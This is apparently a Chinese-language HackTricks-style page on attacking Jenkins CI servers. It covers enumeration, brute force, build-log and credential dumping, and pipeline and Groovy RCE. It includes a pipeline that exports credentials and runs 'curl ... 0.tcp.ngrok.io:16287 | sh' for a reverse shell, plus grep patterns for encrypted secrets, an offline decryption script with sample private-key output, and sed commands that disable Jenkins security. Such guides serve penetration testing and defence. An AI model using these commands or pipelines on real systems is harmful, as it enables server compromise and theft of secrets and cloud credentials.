15 KiB
Jenkins 安全
{{#include ../../banners/hacktricks-training.md}}
基本信息
Jenkins 是一个工具,提供了一种简单的方法来建立几乎任何编程语言和源代码库组合的 持续集成 或 持续交付 (CI/CD) 环境,使用管道。此外,它还自动化了各种常规开发任务。虽然 Jenkins 并没有消除 为单个步骤创建脚本的需要,但它确实提供了一种比手动构建更快、更强大的方式来集成整个构建、测试和部署工具的序列。
{{#ref}} basic-jenkins-information.md {{#endref}}
未经身份验证的枚举
为了在没有身份验证的情况下搜索有趣的 Jenkins 页面,如 (/people 或 /asynchPeople,这列出了当前用户),您可以使用:
msf> use auxiliary/scanner/http/jenkins_enum
检查您是否可以在不需要身份验证的情况下执行命令:
msf> use auxiliary/scanner/http/jenkins_command
在没有凭据的情况下,您可以查看 /asynchPeople/ 路径或 /securityRealm/user/admin/search/index?q= 以获取 用户名。
您可能能够从路径 /oops 或 /error 获取 Jenkins 版本。
已知漏洞
{{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}}
登录
在基本信息中,您可以检查 所有登录 Jenkins 的方式:
{{#ref}} basic-jenkins-information.md {{#endref}}
注册
您将能够找到 允许您创建帐户并登录的 Jenkins 实例。就这么简单。
SSO 登录
如果存在 SSO 功能/插件,那么您应该尝试使用测试帐户(即测试 Github/Bitbucket 帐户)登录应用程序。技巧来自 这里。
暴力破解
Jenkins 缺乏 密码策略 和 用户名暴力破解缓解。对用户进行 暴力破解 是至关重要的,因为可能使用 弱密码 或 用户名作为密码,甚至 反向用户名作为密码。
msf> use auxiliary/scanner/http/jenkins_login
密码喷射
使用 this python script 或 this powershell script。
IP 白名单绕过
许多组织将 基于SaaS的源代码管理(SCM)系统(如 GitHub 或 GitLab)与 内部自托管的 CI 解决方案(如 Jenkins 或 TeamCity)结合使用。此设置允许 CI 系统 接收来自 SaaS 源代码供应商的 webhook 事件,主要用于触发管道作业。
为了实现这一点,组织 将 SCM 平台的 IP 范围列入白名单,允许它们通过 webhooks 访问 内部 CI 系统。然而,重要的是要注意 任何人 都可以在 GitHub 或 GitLab 上创建一个 账户 并将其配置为 触发 webhook,可能会向 内部 CI 系统 发送请求。
内部 Jenkins 滥用
在这些场景中,我们假设您拥有访问 Jenkins 的有效账户。
Warning
根据 Jenkins 中配置的 授权 机制和被攻击用户的权限,您 可能能够或无法执行以下攻击。
有关更多信息,请查看基本信息:
{{#ref}} basic-jenkins-information.md {{#endref}}
列出用户
如果您已访问 Jenkins,您可以在 http://127.0.0.1:8080/asynchPeople/ 列出其他注册用户。
转储构建以查找明文秘密
使用 this script 转储构建控制台输出和构建环境变量,以希望找到明文秘密。
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
窃取 SSH 凭证
如果被攻击的用户具有 足够的权限来创建/修改新的 Jenkins 节点,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 设置一个将记录凭证的主机 而不验证主机密钥来 窃取这些凭证:
您通常可以在 全局提供者 (/credentials/) 中找到 Jenkins ssh 凭证,因此您也可以像转储任何其他秘密一样转储它们。更多信息请参见 转储秘密部分。
Jenkins 中的 RCE
在 Jenkins 服务器上获得 shell 使攻击者有机会泄露所有 秘密 和 环境变量,并 利用同一网络中 的其他机器,甚至 收集云凭证。
默认情况下,Jenkins 将 以 SYSTEM 身份运行。因此,攻陷它将使攻击者获得 SYSTEM 权限。
创建/修改项目的 RCE
创建/修改项目是一种获得 Jenkins 服务器 RCE 的方式:
{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}
执行 Groovy 脚本的 RCE
您还可以通过执行 Groovy 脚本获得 RCE,这可能比创建新项目更隐蔽:
{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}
创建/修改管道的 RCE
您还可以通过 创建/修改管道 来获得 RCE:
{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}
管道利用
要利用管道,您仍然需要访问 Jenkins。
构建管道
管道 也可以用作 项目中的构建机制,在这种情况下,可以配置一个 存储库中的文件,该文件将包含管道语法。默认情况下使用 /Jenkinsfile:
还可以 将管道配置文件存储在其他地方(例如在其他存储库中),目的是 分离 存储库 访问 和管道访问。
如果攻击者对该文件具有 写入访问权限,他将能够 修改 它并 可能触发 管道,而无需访问 Jenkins。
攻击者可能需要 绕过一些分支保护(根据平台和用户权限,这些保护可能会被绕过或不被绕过)。
执行自定义管道的最常见触发器是:
- 对主分支的拉取请求(或可能对其他分支)
- 推送到主分支(或可能对其他分支)
- 更新主分支 并等待以某种方式执行
Note
如果您是 外部用户,您不应该期望创建 PR 到其他用户/组织的主分支 并 触发管道...但如果配置 不当,您可能会通过利用这一点完全 攻陷公司。
管道 RCE
在前面的 RCE 部分中已经指明了一种技术来 通过修改管道获取 RCE。
检查环境变量
可以为整个管道或特定阶段声明 明文环境变量。这些环境变量 不应包含敏感信息,但攻击者始终可以 检查所有管道 配置/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
有关 Jenkins 通常如何处理秘密的信息,请查看基本信息:
{{#ref}} basic-jenkins-information.md {{#endref}}
凭据可以作用于全局提供者(/credentials/)或特定项目(/job/<project-name>/configure)。因此,为了提取所有凭据,您需要至少妥协所有包含秘密的项目并执行自定义/被污染的管道。
还有另一个问题,为了在管道的环境中获取一个秘密,您需要知道秘密的名称和类型。例如,如果您尝试将一个**usernamePassword** 秘密作为**string** 秘密加载,您将会收到此错误:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
这里是加载一些常见秘密类型的方法:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
在本页的末尾,您可以找到所有凭证类型: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
一次性转储所有秘密的最佳方法是妥协****Jenkins机器(例如在内置节点上运行反向 shell),然后泄露****主密钥和加密秘密并离线解密它们。
有关如何在节点和代理部分和后期利用部分中执行此操作的更多信息。
触发器
来自文档:triggers指令定义了管道应重新触发的自动方式。对于与GitHub或BitBucket等源集成的管道,triggers可能不是必需的,因为基于webhook的集成可能已经存在。目前可用的触发器有cron、pollSCM和upstream。
Cron示例:
triggers { cron('H */4 * * 1-5') }
检查 文档中的其他示例。
节点与代理
一个 Jenkins 实例 可能在 不同的机器上运行不同的代理。从攻击者的角度来看,访问不同的机器意味着 不同的潜在云凭证 可以被窃取或 不同的网络访问 可能被滥用以利用其他机器。
有关更多信息,请查看基本信息:
{{#ref}} basic-jenkins-information.md {{#endref}}
您可以在 /computer/ 中枚举 配置的节点,通常会找到 内置节点(即运行 Jenkins 的节点)以及可能更多的节点:
攻陷内置节点 特别有趣,因为它包含敏感的 Jenkins 信息。
要指示您想在 内置 Jenkins 节点 中 运行 管道,您可以在管道中指定以下配置:
pipeline {
agent {label 'built-in'}
完整示例
在特定代理中的管道,带有 cron 触发器,具有管道和阶段环境变量,在一个步骤中加载 2 个变量并发送反向 shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
任意文件读取到 RCE
{{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md {{#endref}}
RCE
{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}
{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}
{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}
后期利用
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
您可以通过访问 /credentials/ 列出秘密,如果您拥有足够的权限。请注意,这只会列出 credentials.xml 文件中的秘密,但 构建配置文件 可能还有 更多凭据。
如果您可以 查看每个项目的配置,您也可以在其中看到用于访问存储库的 凭据名称(秘密) 和 项目的其他凭据。
From Groovy
{{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}}
From disk
这些文件用于 解密 Jenkins 秘密:
- secrets/master.key
- secrets/hudson.util.Secret
这样的 秘密通常可以在:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
这是一个用于查找它们的正则表达式:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
离线解密Jenkins秘密
如果您已经转储了 解密秘密所需的密码,请使用 这个脚本 来解密这些秘密。
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
从 Groovy 解密 Jenkins 秘密
println(hudson.util.Secret.decrypt("{...}"))
创建新管理员用户
- 访问 Jenkins config.xml 文件在
/var/lib/jenkins/config.xml或C:\Program Files (x86)\Jenkis\ - 搜索
<useSecurity>true</useSecurity>并将true改为false。 sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- 重启 Jenkins 服务器:
service jenkins restart - 现在再次访问 Jenkins 门户,Jenkins 这次不会要求任何凭据。您可以导航到 "管理 Jenkins" 以重新设置 管理员密码。
- 通过将设置更改为
<useSecurity>true</useSecurity>再次 启用 安全性,并 再次重启 Jenkins。
参考
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
{{#include ../../banners/hacktricks-training.md}}
.png)
.png)
.png)
.png)